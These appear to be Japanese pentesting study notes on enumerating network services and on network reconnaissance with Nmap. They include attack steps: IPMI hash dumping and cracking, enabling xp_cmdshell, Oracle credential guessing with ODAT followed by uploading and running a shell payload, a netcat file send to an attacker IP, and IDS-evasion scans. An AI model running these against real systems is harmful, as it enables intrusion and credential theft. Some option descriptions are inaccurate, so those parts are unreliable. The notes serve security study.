SSH(Secure-Shell)はリモート システム管理のための安全な方法を提供するために作成されたプロトコル。 Telnetに対して以下機能が追加された。

  • リモートサーバーの身元を確認できる機能
  • メッセージの暗号化
  • メッセージの変更の検出機能

ssh

# SSH接続
ssh ユーザ名@IPアドレス

scp

SCPコマンドによるセキュアなファイル転送

scp ユーザ名@IPアドレス:[ファイルパス] [クライアントのファイルパス]

SSHポートフォワーディング

ローカルポートフォワーディングリモートポートフォワーディングがある。 共に対象マシンの特定のポートで作動しているサービスをlocalhostでアクセスできるようにするのは共通だがコマンド発行元が異なる

  • ローカルポートフォワーディング * コマンドは自分のホストで発行 * ssh -L リモートポート:127.0.0.1:ローカルポート ユーザ名@IPアドレス
  • リモートポートフォワーディング * コマンドは相手のホストで発行

1.1.3. TELNET(23)

Telnetは別のコンピュータの仮想端末に接続するために使用されるアプリケーション層プロトコル。 ユーザーは別のコンピュータにログインし、その端末 (コンソール) にアクセスして、プログラムを実行したり、バッチ プロセスを開始したり、システム管理タスクをリモートで実行したりできる。

なおTelnetクライアントと Telnetサーバー間の通信はすべて暗号化されていない

Telnetでの接続

telnet [IPアドレス]

1.1.4. SMTP(25, 465, 587)

SMTPはMTA間で使用されるメール転送プロトコル。 SMTPのポートが開いているとMTAサーバの機能を提供していると推測できる。

SMTPは平文を使用し、すべてのコマンドが暗号化なしで送信されるため、基本的な Telnetクライアントを使用して SMTPサーバに接続し、メッセージを送信する電子メール クライアント(MUA)として機能できる。

TelnetによるSMTP接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 25
  2. ユーザ名/パスワードを入力しEnter
# SMTPセッションの開始
HELO

# 指定したユーザのメールボックスが存在するか確認
VRFY <ユーザ名>

# 指定したメーリングリストのアドレスを確認
EXPN <メールアドレス>

# SMTPセッションの開始
EHLO

# 差出人指定
MAIL FROM: <送信元のメールアドレス>

# 宛先指定
RCPT TO: <送信先のメールアドレス>

# 本文入力開始
DATA

# セッション終了
QUIT

smtp-user-enum

辞書ファイルを使用してメールサーバにユーザが存在するか確認するコマンド。

smtp-user-enum -M VRFY -U <辞書ファイル> -t <IPアドレス>

# よく使うコマンド
smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -t <IPアドレス>

1.1.5. DNS(53)

Domain名からIPアドレスを求めるためのプロトコル。

コチラからもDNSの調査に関する項目を確認可能。

hostコマンド

hostコマンドによりレコード確認が可能。

host -t txt megacorpone.com
  • -NS(ネームサーバーレコード)…ドメインのDNSレコードをホストする権威サーバーの名前が含まれる
  • -A(ホストレコード)…ホスト名のIPアドレスが含まれている
  • -MX(mail Exchangeレコード)…ドメインの電子メール処理を担当するサーバーの名前が含まれている
  • -PTR(ポインタレコード)…逆引きで使用されIPアドレスに関連するレコードを見つけるために使用される
  • -TXT(テキストレコード)…テキストレコードは任意のデータを含むことができ、ドメインの所有権確認などを行える

nslookupコマンド

ドメイン名を特定できる。

nslookup
> server [DNSサーバのIPアドレス]
> [IPアドレス]

サブドメインの列挙

以下ツールなどが使用可能。

  • DNSゾーン転送設定の確認
    • host -l <domain name> <dns server address>
  • DNSRecon
    • ゾーン転送:dnsrecon -d [ドメイン名] -t axfr
    • ブルートフォース:dnsrecon -d [ドメイン名] -D ~/list.txt -t brt
  • DNSmap
    • dnsmap [ドメイン名] -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt

1.1.6. HTTP(80)

暗号化を行わないWEBのプロトコル。

WEBの調査はコチラから。

HTML内の調査

HTML内で調査する箇所は以下の通り。

  • HTMLファイルのコメントアウト
  • HTMLのHEADタグ内(curlコマンドなど)

TelnetによるHTTP通信

TelnetでHTTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 80
  2. GET /[ページURI] HTTP/1.1を入力しEnter
  3. host: telnetを入力しEnter
  4. Enterを2回押す

Nmapによる調査

nmap -n -Pn <IPアドレス> -p 80 --script http-enum

whatweb

whatwebはCMS名やWebサーバ名を取得するコマンド

whatweb -v <IPアドレス>

1.1.7. POP3(110)

POP3はメール配信エージェント(MDA)サーバから電子メールメッセージをダウンロードするために使用されるプロトコル

TelnetによるPOP3接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 110
  2. ユーザ名/パスワードを入力しEnter
# ログイン
USER [ユーザ名]
PASS [パスワード]

# 受信ボックス内の件数を表示
STAT

# 受信メールの一覧を表示
LIST

# 番号のメッセージを取得
RETR [メール番号]

# 番号のメッセージを削除
DELE [メール番号]

1.1.8. IMAP(143,993)

IMAPはPOP3より洗練されたプロトコルで複数のデバイス (およびメールクライアント) 間で電子メールの同期を維持できる

TelnetによるIMAP接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 143
  2. ユーザ名/パスワードを入力しEnter

IMAPでは、応答を追跡できるように、各コマンドの前にランダムな文字列を付ける必要がある

1.1.9. NFS(111)

NFS(Network File System)はクライアントコンピュータのユーザがあたかもローカルにマウントされたストレージ上にあるかのようにファイルにアクセスすることを可能にするプロトコル

NFSはUNIX系OSで使用されることが多く、その実装は安全ではない。

nmapによるNFS調査

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount [IPアドレス]

nmap -p 111 --script nfs* [IPアドレス]

/usr/sbin/showmountを使用したNFS共有の一覧表示

/usr/sbin/showmount -e [IPアドレス]

NFSのマウント

mountコマンドを使用することでファイルのアクセスが可能になる。

mkdir /tmp/mount
sudo mount -t nfs [IPアドレス]:/home /tmp/mount/ -nolock
cd /tmp/mount && ls

1.1.10. SMB(139,445)

NmapによるSMBの列挙

# 共有とユーザー名の列挙
nmap -p 445 --script=smb-enum-shares,smb-enum-users [IPアドレス]

# SMBによるOSの検出や列挙(smb-os-discovery):
nmap -v -p 139, 445 --script=smb-os-discovery [IPアドレス]

# SMBプロトコルの既知の脆弱性をチェックする場合:
# (unsafe=1にした場合、脆弱なシステムをクラッシュさせてしまう可能性があるので、本番システムをスキャンする場合は注意)
nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 [IPアドレス]

enum4linux

Enum4linux はWindows と Linux システムの両方でSMB共有を列挙するために使用されるツール。 基本的に Samba パッケージ内のツールのラッパーであり、SMB に関連する情報をターゲットから簡単に迅速に抽出できるようになっている。

enum4linux [IPアドレス]
オプション説明
-S共有リスト取得
-Uユーザリスト取得
-oOS情報取得
-A全ての基本的な列挙
-Mマシンリストを取得
-Nネームリストダンプを取得 (-U および-M とは異なります)
-Pパスワードポリシー情報を取得
-Gグループとメンバーのリストを取得

smbclient

smbclientはサーバ上のSMB/CIFSリソースにアクセスするftpのようなクライアントツール

よく使うコマンドは以下の通り。

# SMBで共有されている共有名の調査
smbclient -L //[IPアドレス] -N
# SMBで共有名にアクセス
smbclient //[IPアドレス]/[共有名] -N
# SMBで共有名にログイン情報付きでアクセス
smbclient //[IPアドレス]/[共有名] -U [ユーザ名] -p [ポート番号]
# ユーザ名から共有名の列挙
smbclient -U [ユーザ名] -L target.local
# 現在地のファイル一覧表示
smb> [dir / ls]
# ファイルのダウンロード
smb> get [ファイル名]
# まとめてファイル取得
smb> mget [ファイル名]
# ファイル転送
smb> put [ファイル名] [転送元]
# ファイルの内容表示
smb> more "ファイル名"

smbmap

smbmapは共有ドライブ名、パーミッション、ドライブ内のコンテンツを列挙するツール

smbmap -H <IPアドレス> ( -R -u <ユーザ名> -p <パスワード>)

SMB共有フォルダのマウント

sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=
sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=

1.1.11. NetBIOS(139)

NetBIOSはLAN上のコンピュータが相互に通信できるようにするセッション層のプロトコル

Nmapによるスキャン

nmap -v -p 139,445 -oG result.txt [IPアドレス]

nbtscan

nbtscanはネットワーク上に存在するNetBIOS名をスキャンするコマンド。 オプション-rを使用することで発信元のUDPポートを137に指定している。

sudo nbtscan -r [IPアドレス]/24

nmblookup

nmblookupはNetBIOS名とIPアドレスの変換を行うコマンド。

nmblookup -A <IPアドレス/NetBIOS名>

rbcclient

MS-RPCを使用して情報列挙が可能なコマンド。

rpcclient <IPアドレス> -U "" -N

1.1.12. SNMP(161)

SNMPはTCP/IPネットワークに接続された通信機器(ルータ、スイッチ、サーバなど)に対して、ネットワーク経由で監視、制御するためのUDPベースのアプリケーション層プロトコル。 以下の情報を入手可能。

  • システム名
  • ハードウェアタイプ
  • アカウント情報
  • サービス一覧
  • 導入アプリケーションの種類
  • TCP/UDP接続情報

SNMP1,2,2cではトラフィックの暗号化が行われていないため、SNMP情報や認証情報をローカルネットワーク上で傍受することができてしまう。 MIBはネットワーク管理に関連する情報を含むデータベースのことでツリー上になっている。 その下にSNMPコミュニティと呼ばれるSNMPで管理するネットワークシステムの範囲を定めたものがある。

snmp-check

SNMPで得られる情報を列挙するコマンド。

snmp-check 192.168.124.42
snmp-check -c <コミュニティ名> -v <SNMPバージョン(1,2,2c)> <IPアドレス>

onesixtyone

SNMPエージェント機能が有効なホストを探すコマンド。

onesixtyone <IPアドレス/CIDR> <コミュニティ名>
onesixtyone <IPアドレス>  -c <コミュニティ名辞書ファイル>

Windows SNMPの列挙

kali@kali:~$ snmpwalk -c [コミュニティ文字列を指定] -v[SNMPバージョン番号の指定] -t [タイムアウト期間の設定:10] 10.10.10.1
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 12 Stepping 2 AT/AT COMPAT
IBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (2005539644) 232 days, 2:56:36.44
iso.3.6.1.2.1.1.4.0 = ""

1.1.13. IPMI(623)

IPMIは遠隔からネットワークを通じてコンピュータのハードウェアの状態を監視したり、管理のための操作を行なうための標準インターフェース規格のこと。

# ポート開放の確認
sudo nmap -sU -p 623 -sC -sV [IPアドレス]

# バージョン特定
msf6 > use auxiliary/scanner/ipmi/ipmi_version

# IPMI2.0の脆弱性を利用したパスワードハッシュのダンプ
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
# ダンプしたパスワードハッシュのクラック
hashcat -m 7300 hash /usr/share/wordlist/rockyou.txt

# impipwner.pyを利用したパスワードハッシュのダンプとクラック
sudo python3 ipmipwner.py --host [IPアドレス] -c john -oH hash -pW /usr/share/wordlists/rockyou.txt

1.1.14. Rsyncd(873)

RsyncはUNIXシステムにおいて使用される遠隔地間のファイルやディレクトリの同期を行うアプリケーションソフトウェアのこと。 差分符号化を使ってデータ転送量を最小化して行われる。

netcatを使用した列挙

nc -nv [IPアドレス] 873
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
fox             fox home
@RSYNCD: EXIT
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g # → これはパスワードが必要であることを意味する

nmapを使用した列挙

nmap -sV --script "rsync-list-modules" -p 873 [IPアドレス]
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nmap -sV --script "rsync-list-modules" -p 873 192.168.227.126
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 13:05 JST
Nmap scan report for 192.168.227.126
Host is up (0.26s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules:
|_  fox                 fox home

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds

1.1.15. Microsoft SQL Server(1433)

Microsoft SQL Serverはマイクロソフトが開発する関係データベース管理システム

インストール/アクセス

sudo apt install sqlcmd
sqlcmd -U [ユーザ名] -S [接続先]

# or

sqsh -U [ユーザ名] -S [接続先]

mssqlclient.py(imppacket)を利用したコマンドの実行。

まずimpacketをGithubよりインストール。 ~/impacket/examples/mssqlclient.pyでコマンドを実行。

mssqlclient.py <ユーザ名>@<IPアドレス> -windows-auth

xp_cmdshellを利用したコマンド実行

# xp_cmdshellの有効化
-- アドバンスオプションの変更を許可
1> EXECUTE sp_configure 'show advanced options', 1;  
2> go  
-- アドバンスオプションの現在の設定を更新
1> RECONFIGURE;  
2> go  
-- xp_cmdshellを有効化
1> EXECUTE sp_configure 'xp_cmdshell', 1;  
2> go  
-- 更新
1> RECONFIGURE;  
2> go  

1.1.16. Oracle TNS Listener(1521)

Oracle Net Listenerはデータベース・サーバー・コンピュータで実行される独立したプロセス。 着信中のクライアント接続要求を受信し、データベース・サーバーに対する要求の通信量を管理する。

インストール

sudo pip3 install cx_Oracle
sudo apt-get install python3-scapy
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

コマンドと操作

# All Check
python3 odat.py all -s 10.10.10.82 -p 1521

# SIDの特定
python3 odat.py sidguesser -s 10.10.10.82 -p 1521
[+] SIDs found on the 10.10.10.82:1521 server: XE

# 認証情報の特定(-dは特定したSIDを指定)
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE

# 認証情報の特定(アカウントファイルの指定)
ここではmetasploitのoracle用ファイルを使用
ただし、ODATでは認証情報のファイルに「/」で区切ったものが必要なためEmacsなどでスペースと/を置き換える。
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file oracle_default_userpass.txt
[+] Accounts found on 10.10.10.82:1521/sid:XE:
scott/tiger

# 権限の確認
ファイルのアップロード権限(utlfile)や実行権限(externaltable)を列挙
python3 odat.py all -s 10.10.10.82 -d XE -U scott -P tiger --sysdba

# ペイロードのアップロード
python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --putFile "c:\Windows\Temp" "shell.exe" "shell.exe"
[+] The shell.exe file was created on the c:\Windows\Temp directory on the 10.10.10.82 server like the shell.exe file

# アップロードしたペイロードの実行
python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --exec "C:\Windows\Temp" "shell.exe"
[1] (10.10.10.82:1521): Execute the shell.exe command stored in the C:\Windows\Temp path
# データベースへ接続
sqlplus SCOTT/[email protected]:1521/XE
# as sysdbaはOracle版sudo
sqlplus SCOTT/[email protected]:1521/XE as sysdba

1.1.17. MySQL(3306)

MySQLはオープンソースのリレーショナルデータベース管理システム。

mysql -u root -p
mysql -u root -p -h [IPアドレス | ホスト名] -P [ポート番号]
mysql -u root -e 'SHOW DATABASES;'
オプション説明
-Dデータベースの指定 \
-eCMDからSQLコマンドを実行
-hホスト名の指定
-pパスワードの指定
-uユーザ名の指定

MySQL(MariaDB)への接続

mysql -h [接続先ホスト] -u [ユーザ名] -p [パスワード]

基本的なMySQLコマンド

# データベース一覧の確認
mysql > show databases;
mysql > select database();

# データベースの選択
use [データベース名];

# データベースの追加
mysql > create database [データベース名];

# テーブル一覧の表示
mysql > show tables;

# 全レコードを選択
SELECT * FROM <テーブル名>;

# テーブル構造の確認(フィールドを整理して表示してくれるため、下記のユーザ情報取得をすると見やすい)
describe <テーブル名>;

# ユーザ情報取得
SELECT Host, User, Password FROM <テーブル名>;
# ユーザの追加
create user <追加するusername>@<host name> IDENTIFIED BY <password>;
# 権限付与
grant all privileges on test_db.* to <username>@<host name> IDENTIFIED BY <password>;

1.1.18. PostgreSQL(5432)

PostgreSQLもMySQLと同様のリレーショナルデータベース管理システムの1つ。

psql -h [IPアドレス | ホスト名] -U postgres
psql -h [IPアドレス | ホスト名] -p 5437 -U postgres
オプション説明
-hホスト名の指定
-Uユーザ名
-pポートの指定

基本的なPostgreのコマンド

# PostgreSQL ディレクトリの一覧
postgres=# select pg_ls_dir('./');

# サーバ側のpostgresファイル読み取り
postgres=# select pg_read_file('PG_VERSION', 0, 200);

1.1.19. Redis(6379)

8.2 - 2.ネットワークの偵察

ネットワークの偵察(Recon)に関するポイント

2.1. 偵察

2.1. 偵察

偵察(Recon)は攻撃対象に関する情報を収集するための事前調査のこと。
システム上で最初の足がかりを獲得するための最初のステップと言える。

2.2. 受動的な偵察と能動的な偵察

受動的な偵察

受動的な偵察は公開されている情報から行う偵察のこと。
攻撃対象と直接関わることなく、公開されているリソースからアクセスできる知識が中心となる。

受動的な偵察の例は以下の通り。

  • パブリックDNSサーバからドメインのDNSレコードを検索する
  • 対象サイトに関連する求人広告を確認する
  • 対象企業に関するニュース記事を閲覧する

能動的な偵察

能動的な偵察はターゲットとの直接的スキャンなどを行う偵察のこと。
能動的な偵察の例は以下の通り。

  • HTTP、FTP、SMTP などのプロトコルで対象サーバに接続する
  • 情報を入手するために対象組織に電話をかける (ソーシャルエンジニアリング)
  • 業者を装って会社敷地内に侵入する

2.2. 受動的なネットワーク偵察

2.2.1. WHOIS

WHOISはRFC 3912仕様に準拠した要求および応答プロトコルのこと。
WHOISサーバは43ポート(TCP)で受信リクエストを待ち受けをする。
ドメインレジストラはリースしているドメイン名のWHOISレコードを維持する責任があるため、WHOISサーバは要求されたドメインに関連するさまざまな情報を応答する。WHOISサーバが返すWHOIS情報は以下の通り。

  • レジストラ
  • 登録者の連絡先情報
  • 作成日、更新日、有効期限
  • ネームサーバ

whoisコマンド

WHOIS情報を確認できるコマンド。

WHOIS <DOMAIN_NAME>

2.2.2. nslookupとdig

nslookupコマンド

IPを調べたり、DNSサーバにドメイン名を問い合わせなどを行えるコマンド。

nslookup [オプション] [ドメイン名] [DNSサーバ]

オプションには-type=でクエリタイプが指定できる。

クエリの種類返す情報
AIPv4アドレス
AAAAIPv6アドレス
CNAME正規名
MXメールサーバ
SOAゾーンの管理情報
TXTTXTレコード

digコマンド

詳細な情報をDNSサーバから取得できるコマンド。

dig [@問い合わせ先DNSサーバ] ホスト名|ドメイン名|IPアドレス [クエリタイプ]
オプション説明
-x指定されたIPアドレスの逆引きを行う
-p ポート番号問い合わせ先のポート番号を指定(53番がデフォルト)
クエリタイプ説明
aホスト名に対応するIPアドレス(デフォルト)
ptrIPアドレスに対応するホスト名
nsDNSサーバ
mxメールサーバ
soaSOAレコード情報
hinfoホスト情報
axfrゾーン転送
txt任意の文字列
anyすべての情報

なお問い合わせ後に表示されるflagsには以下のようなものがある。

フラグ説明
qr問い合わせに対する回答
aa権威のある回答
rd再帰検索を希望
ra再帰検索が可能

また回答の表示されるセクションは4つに分かれる。

  • QUSETION SECITION
    • 問い合わせ内容の表示
  • ANSWER SECTION
    • 問い合わせの回答内容の表示
  • AUTHORITY SECTION
    • 問い合わせ先に権威がある場合に表示
  • ADDITIONAL SECTION
    • 回答したホストのIPアドレスなど追加情報が表示

2.2.3. DNSDumpster

DNSDumpsterDNS クエリに対する詳細な回答を提供するオンラインサービス
DNSDumpsterで検索すると、一般的なDNSクエリでは提供できないサブドメインが見つかる場合がある。 また収集したDNS情報を読みやすい表とグラフで表示してくれる。

2.2.4. Shodan.io

Shodan.ioクライアントのネットワークに能動的に接続せずに、クライアントのネットワークに関するさまざまな情報を得ることのできるサービス。別の言い方ではIoTデバイスの検索エンジンともいえる。
防御的側面ではShodan.ioで提供されるサービスを使用して、機関に属する接続されているデバイスや公開されているデバイスについて知ることが可能。

Shodan.io はWebページの検索エンジンとは対照的にオンラインでアクセス可能なすべてのデバイスに接続して、接続された「モノ」の検索エンジンを構築しようとする。応答を受け取るとサービスに関連するすべての情報を収集し、検索可能にするためにデータベースに保存しようとする。

サービスの検索とASN

shodan.ioでドメイン名を検索するとASNが表示される。
ASNはCloudFlareなどのCDNプロキシなどで秘匿されたサーバのIPアドレスを取得するのに使用できる。
これはGoogleのような巨大企業の場合、所有するすべてのIPアドレスに対して独自のASNを持っている可能性があるためである。

ASN(自律システム番号)はIP アドレス範囲のグローバル識別子のこと。

shodan.ioの検索バーでフィルタASN:[number]と検索するとそのASN上にあるWEBサイト全体を確認できる。

検索フィルタ

コチラで検索クエリを適切に使用するとAND検索などで詳細に調べられる。

asn:AS14061 product:MySQL
フィルタ説明
asnASNで検索
country
ipIPアドレス
product製品/サービス名
osOS
portポート

より多くのフィルタはコチラ

2.3. 能動的なネットワーク偵察

2.3.1. ブラウザからの偵察

Webブラウザを使用してターゲットに関する情報を収集する方法ではHTTP(80)/HTTPS(443)によるアクセスを確認できる。
その際に役立つアドオンを記載する。

FoxyProxy

ターゲットのWebサイトへのアクセスに使用しているプロキシサーバーをすばやく変更できる拡張機能。 Burp Suiteなどのツールを使用している場合やプロキシサーバを定期的に切り替える必要がある場合に便利な機能といえる。

User-Agent Switcher and Manager

別のOSまたは別のWebブラウザからWebページにアクセスしているふりをすることができる拡張機能。

Wappalyzer

訪問したWebサイトで使用されているテクノロジーに関する情報を提供する拡張機能。

2.3.2. コマンドによる偵察

指定したホストにICMPパケットを送った際の反応を確認できる。 なおIPv6の場合はping6コマンドを使う。

ping [ホスト名] [IPアドレス]
オプション説明
-nホスト名を指定せずにIPアドレスを表示する
-c 回数指定した回数のみICMPパケットを送信する
-i 間隔指定した間隔ごとにICMPパケットを送信する
-s サイズ指定したパケットデータのサイズで送信する

また、ネットワーク上のすべての IP アドレスを ping するワンライナーは以下の通り。

# Linux用1
for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP active" || echo "$IP N/A"; done
# Linux用2
for ip in $(seq 1 255) ; do ping 192.168.1.$ip -c 1 | grep "from" ; done

# Windows用1
for /L %i in (1,1,255) do ping 192.168.1.%i -n 1 -w 10 | findstr "TTL"
# Windows用2
for ($i = 1; $i -le 255; $i++) { ping -n 1 -w 10 192.168.0.$i | Select-String "TTL" }

tracerouteコマンド

指定したホストまでパケットが伝わる経路を表示するコマンド。
ネットワークの途中経路に障害がある場合、障害個所を特定できるコマンドといえる。

なお注意事項としてネットワーク経路上にICMPパケットを返信しないホストが存在する場合は適切な動作は期待できない。 なおIPv6の場合はtraceroute6コマンドを使う。

traceroute [ ホスト名 | ドメイン名 | IPアドレス ]
オプション説明
-i インターフェースネットワークインターフェースを指定する
-nホスト名をIPアドレスで表示する

telnetコマンド

telnet接続できるコマンド。 なおTelnet を使用して任意のサービスに接続し、そのバナーを取得できる

telnet <IPアドレス | ホスト名> [ポート]

バナーを取得する際は以下で行う。

  1. telnet <IPアドレス | ホスト名> [ポート]でアクセス
  2. GET / HTTP/1.1と入力(80の場合)しEnter
  3. host: 任意の値でEnterしEnterを2回押す

ncコマンド

ncコマンドはTCP/UDPを使ったネットワークの通信を行うコマンド。 ポートスキャンや通信状態の確認が可能。 他にも以下のことが可能。

  • リスニングポートに接続するクライアントとしての機能
  • 選択したポートをリッスンするサーバーとして機能
nc [ ホスト名 | IPアドレス ] [ポート番号]

なおオプション-vzを指定することでポータ範囲の指定とポートスキャンが可能。 なおudpの場合はuを追加する。 また1024 未満のポート番号をリッスンするには root 権限が必要となる。

オプション意味
-lリスニングモード
-pポート番号を指定
-n数値のみ。DNS経由でホスト名を解決できない
-v詳細な出力 (バグを発見するのに役立つ)
-vv非常に詳細 (オプション)
-kクライアントが切断された後もリッスンを続ける

使用例は以下の通り。

# サーバとして待ち受け
nc -lvnp [ポート番号]

# Netcatによるファイル転送
# 送信側
nc [攻撃者のIPアドレス] 9999 < [filename]

# 受信側
nc -l -p 9999 > [filename]

# Netcatによる複数ポートスキャン
nc -zvn [IPアドレス] [ポート番号] [ポート番号] [ポート番号]...
# NetcatによるUDPポートスキャン
nc -zvu [IPアドレス] [ポート番号]-[ポート番号]

2.4. Nmapによる高度なスキャン

Nmap(Network Mapper)はネットワークの調査とセキュリティ監査が行えるOSSのツール。
なおNMapによるスキャンは能動的な偵察となる。

公式ドキュメント:https://nmap.org/man/ja/index.html

できることは以下の通り。

  • ポートスキャン
  • OSのバージョン/ファイヤーウォールの特定

2.4.1. Nmapによるアクティブホストのスキャン

ARPを使用したホスト検出

ARPスキャンによるホスト検出はターゲットシステムと同じサブネット上にある場合にのみ可能となる。

nmap -PR -sn [ターゲットIP]

またnmap以外にもarp-scanを用いてARPパケットを詳細に制御し検出もできる。 この手法ではIPアドレスとMACアドレス両方の情報を得られる。

# イーサネットで有効なIPに対してARP Queryの送信
arp-scan -I eth0 -l

ICMPを使用したホスト検出

ICMPによるホスト検出はターゲットネットワーク上のすべてのIPアドレスにpingを実行することで行う。
ただし、ターゲットのファイヤーウォールがICMPをブロックする場合があるので常に使えるとは限らない。

# ICMPタイムスタンプを使用する場合
nmap -PP -sn [ターゲットIP/24]

# ICMPエコー要求を使用する場合
nmap -PE -sn [ターゲットIP/24]

# ICMPアドレスマスクを使用する場合
nmap -PM -sn [ターゲットIP/24]

TCP/UDPを使用したホスト検出

  • TCP SYN Ping * 特徴 * 使用されるポートに対してTCP SYNパケットを送信し、応答があるかどうかを検出する。 * サーバがTCP SYNに応答すると、ポートが開いていることが示される * 動作 * ターゲットホストがTCP SYNに応答しない場合、Nmapはポートが閉じていると判断する * 検知 * 相手のホストではポートが一時的に開かれるため、検知される可能性が高い
  • TCP ACK Ping * 特徴 * 使用されるポートに対してTCP ACKパケットを送信し応答があるかどうかを検出する。 * ACKパケットが返されれば、ポートが開いていることが示される * 動作 * ターゲットホストがTCP ACKに応答しない場合、Nmapはポートがフィルタされていると判断する * 検知 * 相手のホストでは一部のファイアウォールで検知される可能性がある
  • UDP Ping * 特徴 * UDPを使用してホストがオンラインかどうかを検出する * UDPは通信が確立されないためフィルタリングや検知が難しい * 動作 * ターゲットホストがUDPに応答しない場合にNmapはポートが閉じていると判断する * 検知 * 相手のホストでは通常UDPトラフィックは検知が難しく検知されることは比較的少ない
# TCP SYN Pingの場合
nmap -PS[ポート(23)] -sn [IPアドレス/24]

# TCP ACK Pingの場合
nmap -PA[ポート(23)] -sn [IPアドレス/24]

# UDP Pingの場合
nmap -PU -sn [IPアドレス/24]

逆引きDNSルックアップの使用

Nmap のデフォルトの動作ではリバースDNSオンラインホストが使用される。
ホスト名から多くのことが明らかになる可能性があるため、これは役立つ場合がある。

オプション目的
-nDNSルックアップなし
-Rすべてのホストの逆引き DNS ルックアップ
-snホスト検出のみ

2.4.2. 基本的なポートスキャン

Nmapはポートの状態を以下の6つの状態に分類する。

状態説明
Openターゲットホストのポートが応答しており、接続可能であることを示す
Closedターゲットホストのポートが応答しているが、接続はできないことを示す
Filteredこれはファイアウォールやネットワークフィルタによってトラフィックが遮断されている可能性がある
Unfilteredポートが応答しており、トラフィックは遮断されていないことを示す。具体的なサービスが待機しているかどうかは不明
Open/Filteredポートの状態を正確に判別できない場合に表示される状態(OpenかFilter)
Closed/Filteredポートの状態を正確に判別できない場合に表示される状態(CloseかFilter)
nmap [オプション] <IPアドレス/ドメイン名>
オプション説明
-sTTCP接続スキャン
-sSSYNスキャン(TCP接続のSYNパケットを送信し、SYN+ACKが帰るかどうかでポートスキャンを行う)
-sVSYNスキャン+バナーの同時収集(バージョンも表示)
-sNTCP Nullスキャン
-sFTCP FINスキャン
-sXTCP Xmasスキャン
-sWTCP Windowスキャン
-sMTCP Maimonスキャン
-sRTCP RPCスキャン
-sLIPIDスキャン(ゾンビマシン指定必要)
-sAACKスキャン(TCP接続のACKパケットを送信し、RSTが返ってくるかでファイヤーウォールの有無を判断する)
-sUUDPパケットを送信し、ICMP port unreachableが返ってくるかでポートスキャンを行う
-sPpingを送信し、エコー応答が返るかどうかでホストの存在の有無を判断する
-snPingスキャン
-sCNSEスクリプトの利用(-sVがダメなときに使う)
-OOSを調べる
-n名前解決しない(DNSを利用しない)
-v詳細に調べる
–reason理由を表示
-Pnpingをしない(ホスト検出スキップ)
-PEPing要求送信指定
-p[ポート番号],[ポート番号]ポート指定
-p[ポート番号]-[ポート番号]ポート範囲指定
-p-全ポートスキャン
-F有名な100ポートのスキャン
-rポートを降順でスキャン(1~65535)
–top-ports 10/1000代表的な10/1000ポートのスキャン
-T[0-5]スキャンタイミング制御:数字が低い方がIDS検知回避しやすい(数字が大きくなるほどスキャン速度が速くなる)
–min-rate [数字]パケットレート制御
–min-parallelism [プローブ]プローブの並列化
-oN [ファイル名]スキャン結果をファイルに出力

TCP接続スキャン

TCP接続スキャンはTCP3ウェイハンドシェイクを完了することでスキャニングを行う。

nmap -sT [IPアドレス/ドメイン]

TCP SYNスキャン

TCP SYN スキャンではTCP3ウェイハンドシェイクを完了せずに、サーバーから応答を受信すると接続を切断する。
TCP接続を確立していないためスキャンがログに記録される可能性が低い

nmap -sS [IPアドレス/ドメイン]

UDPスキャン

UDPはコネクションレス型プロトコルであるため、接続を確立するためにハンドシェイクを必要としない。
そのため UDPポートでリッスンしているサービスがパケットに応答するかどうかは保証できない。

nmap -sU [IPアドレス/ドメイン]

よく使うNmapコマンド

# ===========================
# クイックスキャン
# ===========================
# TCP100ポート/UDP20ポートスキャン
sudo nmap -sS -T3 <IPアドレス> -F -v && sudo nmap -T3 -sU --top-ports 20 <IPアドレス>

# ローリスクスキャン
sudo nmap -n -sT -scan-delay 0.1 <IPアドレス> -v
# クイックスキャン
sudo nmap -sS <IPアドレス> -v
# 全ポートクイックスキャン
sudo nmap -sS -T4 -A <IPアドレス> -v
# IDS/IPS回避クイックスキャン
sudo nmap -sS -f -T4 <IPアドレス> -v
# ===========================
# UDPスキャン
# ===========================
